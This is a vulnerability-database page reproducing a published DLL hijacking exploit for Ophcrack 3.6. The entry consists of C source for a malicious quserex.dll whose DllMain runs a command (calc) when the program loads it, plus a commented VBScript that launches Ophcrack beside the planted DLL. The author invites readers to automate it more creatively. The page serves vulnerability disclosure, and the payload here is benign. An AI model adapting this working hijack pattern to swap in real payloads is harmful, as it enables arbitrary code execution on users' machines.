Lucene search
K

Ophcrack 3.6 DLL Hijacking

🗓️ 01 Jan 2014 00:00:00Reported by Osanda MalithType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

Ophcrack 3.6 DLL Hijacking Exploi

Code
`/*  
* Title: Ophcrack 3.6 Dll Hijacking Exploit (quserex.dll)  
* Version: 3.6  
* Tested on: Windows 8 64-bit ,Windows XP SP2 en  
* Vendor: http://ophcrack.sourceforge.net/  
* Software Link: http://sourceforge.net/projects/ophcrack/files/ophcrack/3.6.0/ophcrack-win32-installer-3.6.0.exe  
* E-Mail: [email protected]  
* Exploit-Author: Osanda Malith Jayathissa  
* /!\ Author is not responsible for any damage you cause  
* Use this material for educational purposes only  
* Twitter: @OsandaMalith  
*/   
  
#include <windows.h>  
int pwned()  
{  
WinExec("calc", 0);  
exit(0);  
return 0;  
}  
  
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)  
{  
pwned();  
return 0;  
}  
  
/*  
Well as Ophcrack as no extensions associated we have to manually a open a file with   
Ophcrack in a directory with our Dll. To automate this POC be little creative ;)  
This is just a small idea which you may probably do better than me.  
  
msg=MsgBox ("Automated POC" & chr(13) & "Coded by Osanda Malith", 64, "Ophcrack Dll Hijacking Exploit")  
Set objFileToWrite = CreateObject("Scripting.FileSystemObject").OpenTextFile("new.jpg",2,true)  
objFileToWrite.WriteLine("POC by Osanda Malith :D")  
objFileToWrite.Close  
file = "new.jpg"  
Set oShell = CreateObject("WScript.Shell")  
' Path to Ophcrack  
oShell.Run """%ProgramFiles(x86)%\ophcrack\ophcrack.exe """ & file  
*/  
//EOF  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jan 2014 00:00Current
7.4High risk
Vulners AI Score7.4
26